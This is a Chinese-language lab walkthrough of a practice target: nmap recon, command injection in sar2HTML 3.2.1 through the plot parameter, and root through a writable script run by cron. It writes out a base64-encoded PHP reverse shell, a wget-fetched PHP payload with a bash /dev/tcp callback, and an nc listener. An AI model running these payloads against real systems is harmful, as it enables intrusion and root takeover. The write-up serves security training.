靶机设置
将网络配置调整为NAT模式即可
Nmap扫描
主机发现
sudo nmap -sn 192.168.9.150/24
新增IP为靶机IP:192.168.9.160
TCP开放端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.9.160
只开放了一个80端口
UDP开放端口扫描
sudo nmap -sU -top 10 192.168.9.160
没信息
TCP详细信息扫描
sudo nmap -sT -sV -sC -O -p80 192.168.9.160 -oA nmap/detail
linux+apache
其他暂时没啥信息
vuln漏洞脚本扫描
sudo nmap --script=vuln -p80 192.168.9.160 -oA nmap/vuln
两个文件:
/robots.txt
和phpinfo.php
Getshell
80——简单浏览
所以是一个刚建站的网站。
/robots.txt
:
/sar2HTML
:
It will create the report with name sar2html-hostname-date.tar.gz under /tmp directory.
Click "NEW" button, browse and select the report, click "Upload report" button to upload the data.
耶,有个文件上传点诶。
继续读,感觉利用有点困难。
福至心灵,用searchsploit搜了一下sar2HTML
version3.2.1,绝配!
80——RCE
两个都下下来看看
searchsploit -m 47204
searchsploit -m 49344
利用方法:
http://<ipaddr>/index.php?plot=;<command-here>
回显:" os"处会被替换为执行的命令,"Select Host"展开后会发现执行结果
eg:
尝试直接bash反弹shell失败,发现&
符号被过滤了还是啥情况。
尝试使用49344.py现成的利用
利用时发现了一个很搞笑的问题:因为注释在前面,因此#!/usr/bin/env python
实际上并不是第一行,会导致运行错误。
不过还是有报错,懒了。回去吧()
ls -liah
:
尝试在 index.php 中加入php的一句话反弹shell
echo cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE5Mi4xNjguOS4xNTAiLDEyMzQ1KTtleGVjKCIvYmluL3NoIC1pIDwmMyA+JjMgMj4mMyIpOyc= | base64 -d >>index.php
啊?
尝试了wget远程下载shell,发现不能附加执行权限,导致下载shell也没用。
尝试wget远程下载php
test.txt
:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.9.150/1234 0>&1'");?>
靶机下载:wget http://192.168.9.150/test.txt -O test.php
kali开启监听:nc -lvnp 1234
然后访问对应地址:http://192.168.9.160/sar2HTML/test.php
提权
基础信息
自动任务提权
第一反应是自动任务提权
(回忆提示:网页上有出现自动任务)
看一下自动任务:
cat /etc/crontab
每五分钟执行以下
/var/www/html/finally.sh
可惜没有写的权限。
看眼内容:
诶哦?!我们有
write.sh
的所有权限啊。
看眼:
接下来直接篡改,桀桀:bash -c 'bash -i >& /dev/tcp/192.168.9.150/12345 0>&1'
(我中途输错了,然后这靶机vi只能盲操作。所以我操作修改的时候不太精准,导致我倒数第二行即touch所在行变异。但是不影响,不要在意qaq)
然后在本机上开启监听,静静等待——
成功!
(可以通过/tmp/gateway
创建与否来判断./finally.sh
是否执行)
拿下!